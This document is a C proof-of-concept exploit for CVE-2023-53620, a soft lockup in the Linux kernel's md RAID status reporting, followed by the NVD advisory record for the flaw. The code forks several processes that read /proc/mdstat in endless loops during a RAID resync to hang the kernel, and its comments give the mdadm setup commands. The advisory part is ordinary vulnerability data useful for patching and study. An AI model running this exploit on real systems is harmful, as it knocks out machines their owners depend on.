CVE-2023-53620

/* CVE-2023-53620 PoC - Trigger soft lockup in md status_resync() * * This PoC demonstrates how to trigger the soft lockup vulnerability * in the Linux kernel's md subsystem by rapidly querying RAID sync status * while a resync operation is in progress. * * Requirements: Linux kernel with md module, root or sudo access to setup RAID */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <sys/stat.h> #include <signal.h> #include <sys/wait.h> #define LOOPS 1000000 int main(int argc, char *argv[]) { int fd; char buf[4096]; int i; pid_t pid; /* Step 1: Ensure md device exists and resync is active. * This typically requires root privileges to setup: * mdadm --create /dev/md0 --level=1 --raid-devices=2 /dev/loop0 /dev/loop1 * mdadm --grow /dev/md0 --level=5 --raid-devices=3 --add /dev/loop2 */ /* Step 2: Fork multiple processes to repeatedly read /proc/mdstat * This will trigger status_resync() concurrently with md_do_sync() */ for (i = 0; i < 4; i++) { pid = fork(); if (pid == 0) { /* Child process: rapidly query md status */ while (1) { fd = open("/proc/mdstat", O_RDONLY); if (fd >= 0) { while (read(fd, buf, sizeof(buf)) > 0) ; close(fd); } } exit(0); } } /* Parent process: wait for soft lockup to trigger */ printf("Triggering CVE-2023-53620 soft lockup...\n"); printf("Monitor system with: watch cat /proc/mdstat\n"); sleep(60); /* Cleanup */ kill(0, SIGTERM); return 0; }

{"cve": {"id": "CVE-2023-53620", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-07T16:15:44.660", "lastModified": "2026-02-05T14:50:21.203", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmd: fix soft lockup in status_resync\n\nstatus_resync() will calculate 'curr_resync - recovery_active' to show\nuser a progress bar like following:\n\n[============>........] resync = 61.4%\n\n'curr_resync' and 'recovery_active' is updated in md_do_sync(), and\nstatus_resync() can read them concurrently, hence it's possible that\n'curr_resync - recovery_active' can overflow to a huge number. In this\ncase status_resync() will be stuck in the loop to print a large amount\nof '=', which will end up soft lockup.\n\nFix the problem by setting 'resync' to MD_RESYNC_ACTIVE in this case,\nthis way resync in progress will be reported to user."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-667"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.6.12.1", "versionEndExcluding": "6.1.30", "matchCriteriaId": "17D1212A-CED1-4FCC-9500-439C2DB668F0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.3.4", "matchCriteriaId": "26C54BF0-3EED-46D4-92A7-5F07F658B49B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.12:-:*:*:*:*:*:*", "matchCriteriaId": "6F62EECE-8FB1-4D57-85D8-CB9E23CF313C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.12:rc2:*:*:*:*:*:*", "matchCriteriaId": "4F76C298-81DC-43E4-8FC9-DC005A2116EF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.12:rc3:*:*:*:*:*:*", "matchCriteriaId": "0AB349B2-3F78-4197-882B-90ADB3BF645A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.12:rc4:*:*:*:*:*:*", "matchCriteriaId": "6AC88830-A9BC-4607-B572-A4B502FC9FD0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.12:rc5:*:*:*:*:*:*", "matchCriteriaId": "476CB3A5-D022-4F13-AAEF-CB6A5785516A"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/23309704e90859af2662bedc44101e6d1d2ece7e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/6efddf1e32e2a264694766ca485a4f5e04ee82a7", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/b4acb6c3ede88d6b7d33742a09e63cfce5e7fb69", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}